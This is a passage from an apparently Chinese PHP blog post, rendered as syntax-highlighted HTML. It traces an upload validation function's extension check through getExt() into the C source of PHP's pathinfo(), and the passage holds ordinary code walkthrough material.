align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$fileExt</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strtolower</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$this</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">getExt());</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">获取扩展名</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$passed</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$exts</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">array_filter</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">array_map</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">trim</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$exts</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">trim</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">foreach</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$exts</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">as</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$ext</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">substr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ext</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$ext</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">substr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ext</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$fileExt</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strtolower</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ext</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$passed</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #000000">!</span><span style="COLOR: #800080">$passed</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$maxSize</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$this</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">getSize()&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$maxSize</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></div>
<p>再看getExt函数:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">&nbsp;getExt()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$this</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">isMoved())&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">pathinfo</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$this</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">getNewPath()</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PATHINFO_EXTENSION);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">pathinfo</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$this</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">getFilename()</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PATHINFO_EXTENSION);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></div>
<p>继续跟踪php的pathinfo函数:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img id=Codehighlighter1_0_103_Open_Image onclick="this.style.display='none'; Codehighlighter1_0_103_Open_Text.style.display='none'; Codehighlighter1_0_103_Closed_Image.style.display='inline'; Codehighlighter1_0_103_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_0_103_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_0_103_Closed_Text.style.display='none'; Codehighlighter1_0_103_Open_Image.style.display='inline'; Codehighlighter1_0_103_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top><span id=Codehighlighter1_0_103_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/**/</span><span id=Codehighlighter1_0_103_Open_Text><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;{{{&nbsp;proto&nbsp;array&nbsp;pathinfo(string&nbsp;path[,&nbsp;int&nbsp;options])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;Returns&nbsp;information&nbsp;about&nbsp;a&nbsp;certain&nbsp;string&nbsp;</span><span style="COLOR: #008000">*/</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>PHP_FUNCTION(pathinfo)<br><img id=Codehighlighter1_128_872_Open_Image onclick="this.style.display='none'; Codehighlighter1_128_872_Open_Text.style.display='none'; Codehighlighter1_128_872_Closed_Image.style.display='inline'; Codehighlighter1_128_872_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_128_872_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_128_872_Closed_Text.style.display='none'; Codehighlighter1_128_872_Open_Image.style.display='inline'; Codehighlighter1_128_872_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_128_872_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_128_872_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;zval&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">tmp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">path,&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;NULL;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;path_len,&nbsp;have_basename;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;size_t&nbsp;ret_len;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">long</span><span style="COLOR: #000000">&nbsp;opt&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;PHP_PATHINFO_ALL;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img id=Codehighlighter1_343_356_Open_Image onclick="this.style.display='none'; Codehighlighter1_343_356_Open_Text.style.display='none'; Codehighlighter1_343_356_Closed_Image.style.display='inline'; Codehighlighter1_343_356_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_343_356_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_343_356_Closed_Text.style.display='none'; Codehighlighter1_343_356_Open_Image.style.display='inline'; Codehighlighter1_343_356_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(zend_parse_parameters(ZEND_NUM_ARGS()&nbsp;TSRMLS_CC,&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">s|l</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">path,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">path_len,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">opt)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;FAILURE)&nbsp;</span><span id=Codehighlighter1_343_356_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_343_356_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;have_basename&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;((opt&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">&nbsp;PHP_PATHINFO_BASENAME)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;PHP_PATHINFO_BASENAME);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;MAKE_STD_ZVAL(tmp);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;array_init(tmp);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;......<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;......<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img id=Codehighlighter1_553_826_Open_Image onclick="this.style.display='none'; Codehighlighter1_553_826_Open_Text.style.display='none'; Codehighlighter1_553_826_Closed_Image.style.display='inline'; Codehighlighter1_553_826_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_553_826_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_553_826_Closed_Text.style.display='none'; Codehighlighter1_553_826_Open_Image.style.display='inline'; Codehighlighter1_553_826_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;((opt&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">&nbsp;PHP_PATHINFO_EXTENSION)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;PHP_PATHINFO_EXTENSION)&nbsp;</span><span id=Codehighlighter1_553_826_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_553_826_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">p;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;idx;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img id=Codehighlighter1_600_672_Open_Image onclick="this.style.display='none'; Codehighlighter1_600_672_Open_Text.style.display='none'; Codehighlighter1_600_672_Closed_Image.style.display='inline'; Codehighlighter1_600_672_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_600_672_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_600_672_Closed_Text.style.display='none'; Codehighlighter1_600_672_Open_Image.style.display='inline'; Codehighlighter1_600_672_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">have_basename)&nbsp;</span><span id=Codehighlighter1_600_672_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_600_672_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;php_basename(path,&nbsp;path_len,&nbsp;NULL,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">ret,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">ret_len&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;zend_memrchr(ret,&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,&nbsp;ret_len);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img id=Codehighlighter1_724_823_Open_Image onclick="this.style.display='none'; Codehighlighter1_724_823_Open_Text.style.display='none'; Codehighlighter1_724_823_Closed_Image.style.display='inline'; Codehighlighter1_724_823_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_724_823_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_724_823_Closed_Text.style.display='none'; Codehighlighter1_724_823_Open_Image.style.display='inline'; Codehighlighter1_724_823_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(p)&nbsp;</span><span id=Codehighlighter1_724_823_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_724_823_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;idx&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;p&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add_assoc_stringl(tmp,&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">extension</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;ret&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;idx&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,&nbsp;ret_len&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;idx&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;......<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;......<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;zval_ptr_dtor(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">tmp);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img id=Codehighlighter1_874_882_Open_Image onclick="this.style.display='none'; Codehighlighter1_874_882_Open_Text.style.display='none'; Codehighlighter1_874_882_Closed_Image.style.display='inline'; Codehighlighter1_874_882_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_874_882_Closed_Image 